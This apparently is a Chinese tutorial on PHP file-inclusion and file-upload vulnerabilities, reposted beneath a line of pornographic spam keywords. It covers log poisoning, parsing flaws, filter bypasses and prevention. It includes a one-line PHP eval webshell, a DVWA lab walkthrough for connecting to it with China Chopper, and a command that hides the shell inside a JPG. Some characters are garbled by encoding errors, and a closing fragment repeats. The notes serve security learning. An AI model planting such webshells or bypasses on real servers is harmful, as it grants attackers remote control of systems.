日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

文件包含漏洞和上传漏洞

發(fā)布時(shí)間:2023/12/16 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 文件包含漏洞和上传漏洞 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

  • 文件包含漏洞
    • PHP文件包含漏洞
    • 遠(yuǎn)程文件包含漏洞
    • 截?cái)喟?/li>
    • JSP文件包含
    • 文件包含漏洞預(yù)防
  • 文件上傳漏洞
      • 解析漏洞
      • 服務(wù)端檢測
      • 目錄驗(yàn)證
        • 文件內(nèi)容檢測
        • 預(yù)防方法
    • 一句話木馬

sql注入,有sql盲注,基于布爾的注入,還有基于時(shí)間的注入,union的使用條件 字段數(shù)保持一致,可以用其他數(shù)據(jù)湊數(shù)補(bǔ)上。

文件包含漏洞

PHP文件包含漏洞

? 文件包含:共用函數(shù)寫到單個(gè)文件中,然后多次調(diào)用,

? 文件包含漏洞:包含的文件可以被替換成惡意文件。

PHP提供了四個(gè)文件包含函數(shù),分別是include() 找不到被包含的文件只會(huì)產(chǎn)生警告

include 找不到被包含的文件時(shí)只會(huì)產(chǎn)生警告(E_WARNING),腳本將繼續(xù)執(zhí)行; require 找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤(E_ COMPILE_ERROR),并停止腳本; include _once: 此語句和include()語句類似,唯一區(qū)別是如果該文件中的代碼已經(jīng)被包含,則不會(huì)再次包含; require_once: 此行語句和require()語句類似,唯一區(qū) 別是如果該文件中的代碼已經(jīng)被包含,則不會(huì)再次包含。

? 比如可以上傳一個(gè)txt文件,可以上傳一個(gè)含有PHP語句??梢試L試去讓網(wǎng)站執(zhí)行txt中的語句。黑客會(huì)對數(shù)據(jù)庫配置文件感興趣。把參數(shù)的值改為配置文件所在目錄,可以讓利用漏洞讓信息顯現(xiàn)出來。

遠(yuǎn)程文件包含漏洞

? 7.3以下的版本可以包含遠(yuǎn)程文件

? 發(fā)生問題一般,一般用遠(yuǎn)程文件。

要想利用文件包含漏洞的利用

Include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件; 用戶能夠控制該動(dòng)態(tài)變量

讀取敏感文件 在某些警告中包含敏感路徑

本地包含配合文件上傳 很多文件不允許遠(yuǎn)程包含,但很多網(wǎng)站提供上傳功能比如上傳頭像,文檔等。

包含Apache日志文件

? 上傳的木馬,可能被網(wǎng)站殺毒軟件刪除,可以利用access日志文件access.log

? 去包含日志文件,讓文件中出現(xiàn)一些代碼,那么黑客可以把代碼放到url里面,然后日志文件記錄下url+代碼

? 這些代碼要用url編碼,這個(gè)是黑客不想看到的,被編碼后的代碼就不能被執(zhí)行,所有可以用fiddler攔截請求,把被編碼的代碼修改成編碼之前的。修改請求,對請求打向上的斷點(diǎn)。在Headers里面還原代碼 再發(fā)送。

截?cái)喟?/h2>

? 很多程序員認(rèn)為文件包含漏洞比較好修復(fù),固定拓展名即可,但是會(huì)被攻擊者繞過去。

include $_GET['test'] . ".php";

? 攻擊者可以采取截?cái)嗟姆椒ㄍ黄拼a。PHP 5.30出于安全考慮中已經(jīng)廢棄了截?cái)喙δ?/p>

JSP文件包含

? 靜態(tài)包含:只允許包含一個(gè)靜態(tài)文件

? 動(dòng)態(tài)包含:對于PHP即使是圖片只要里面有PHP代碼就會(huì)執(zhí)行,但是JSP只會(huì)當(dāng)成文本,因此JSP更安全。

文件包含漏洞預(yù)防

? 嚴(yán)格判斷參數(shù)

? 路徑限制:要包含的文件只能在指定路徑下,禁止目錄跳轉(zhuǎn) “…/ ”;

? 包含文件驗(yàn)證:驗(yàn)證是不是白名單的一員。

文件上傳漏洞

? 對上傳文件的控制不足,用戶上傳動(dòng)態(tài)腳本文件 惡意代碼。(WebShell后門)

? 服務(wù)器怎么處理解釋文件?

解析漏洞

? web服務(wù)器存在漏洞

? IIS6.0 解析文件時(shí)存在以下兩個(gè)漏洞,*.asa *.asp文件下文件都會(huì)被當(dāng)作可執(zhí)行的asp文件下解析

? *.asp;1.jpg 會(huì)被當(dāng)做ASP腳本來執(zhí)行。asp會(huì)把;后面的文件名舍棄掉。

Apache1.x\ 2.x中存在解析漏洞

? <?php phpinfo();?> 保存文件為1.php.rar

? 輸入http://localhost/1.php.rar 服務(wù)器不認(rèn)識rar就向前找到了php 就當(dāng)成php文件執(zhí)行。1.php.qwer放到網(wǎng)站目錄下

mine.types 文件里面存有apache所認(rèn)識的所有后綴,如果不認(rèn)識就向前找。訪問http://localhost/1.php.qwer

qwer在 mine.types 文件 中不存在,它就繼續(xù)尋找包含的文件名后綴,于是找到了php后綴。就開始執(zhí)行惡意代碼了。

? 這個(gè)可以通過配置文件來避免這個(gè)漏洞。

導(dǎo)致漏洞的原因:

? 1.服務(wù)器配置不當(dāng)(put可以直接向服務(wù)器上傳文件,不過默認(rèn)是關(guān)閉的)

? 2…本地文件上傳限制被繞過。把前端判斷文件類型的檢查代碼在瀏覽器刪除?;蛘咴诒镜貥?gòu)建一個(gè)沒有onsubmit的表單因此不要只在前端檢查。

? 3.服務(wù)端過濾不嚴(yán)格被繞過
? 4.文件路徑截?cái)?br /> ? 5.文件解析漏洞導(dǎo)致文件執(zhí)行

策略

? 客戶端檢測:一般是比較基本的檢查,減輕服務(wù)器負(fù)擔(dān)

? 服務(wù)器端檢測:檢查文件名是否合法,真正防御攻擊者的,首先檢查拓展名是否合法

檢查拓展名

? 1.黑名單

? 2.白名單,攻擊者有很多方法繞過黑名單檢測。

服務(wù)端檢測

? mine.types 文件寫法是 audio/mpeg ->mp3

? 程序員一般檢測Content-Type 不過攻擊者可以繞過 fiddler不能改消息頭,但是Burpsuite抓到請求包可以修改。

目錄驗(yàn)證

? 程序允許用戶將文件放到指定目錄下,可以讓用戶指定目錄,攻擊者會(huì)上傳一個(gè)目錄作為可執(zhí)行文件。

文件內(nèi)容檢測

? 文件頭檢測,不同文件不同的文件頭,后臺根據(jù)文件頭判斷文件類型。

? 文件內(nèi)容加載/渲染

? 這個(gè)主要檢測文件結(jié)構(gòu)是否完整,例如PHP代碼覆蓋一部分圖片數(shù)據(jù)。

? 繞過方法:不破壞文件本身結(jié)構(gòu)的前提下 找一個(gè)空白區(qū)域存放惡意代碼

預(yù)防方法

? 1.設(shè)置文件為不可執(zhí)行。

? 2.判斷文件類型

? 3.使用隨機(jī)數(shù)改寫文件名和文件路徑

? 4.單獨(dú)設(shè)置文件服務(wù)器的域名。網(wǎng)站安全級別比較高可以單獨(dú)一臺服務(wù)器存放用戶上傳的文件,利用了同源策略。但是否可以這樣設(shè)置要看業(yè)務(wù)邏輯

一句話木馬

WebShell 是web入侵的腳本攻擊工具。就是一個(gè)asp或php木馬后門,把它和網(wǎng)站文件混在一起。

? 中國菜刀,一般裝在攻擊者電腦上,phpstudy要選擇低版本的可以用做測試服務(wù)器。

http://localhost/DVWA-master/vulnerabilities/upload/#

Hack.php

<?php @eval($_POST['pass']);?>

@表示不報(bào)錯(cuò),eval()把字符串作為PHP代碼執(zhí)行

入侵條件: 上傳成功未被殺 知道上傳路徑 …/…/hackable/uploads/Hack.php succesfully uploaded!

? 上傳成功可以用菜刀連接了

中國菜刀填寫

http://localhost/DVWA-master/hackable/uploads/Hack.phppass<T>MYSQL</T> <H>localhost</H> <U>root</U> <P>root</P>

就可以通過菜刀控制服務(wù)器了。

如果網(wǎng)站防護(hù)措施比較高 那么文件上傳時(shí)就不可以為.php文件??梢园袶ack.php文件與demo.jpg合并。

copy demo.jpg/b+Hack.php/a Hack.jpg

在圖片文件上傳后創(chuàng)建muma.php文件

http://localhost/DVWA-master/hackable/uploads/Hack.jpg

然后按上面的步驟重新執(zhí)行就行。
時(shí)就不可以為.php文件??梢园袶ack.php文件與demo.jpg合并。

copy demo.jpg/b+Hack.php/a Hack.jpg

在圖片文件上傳后創(chuàng)建muma.php文件

http://localhost/DVWA-master/hackable/uploads/Hack.jpg

然后按上面的步驟重新執(zhí)行就行。

總結(jié)

以上是生活随笔為你收集整理的文件包含漏洞和上传漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。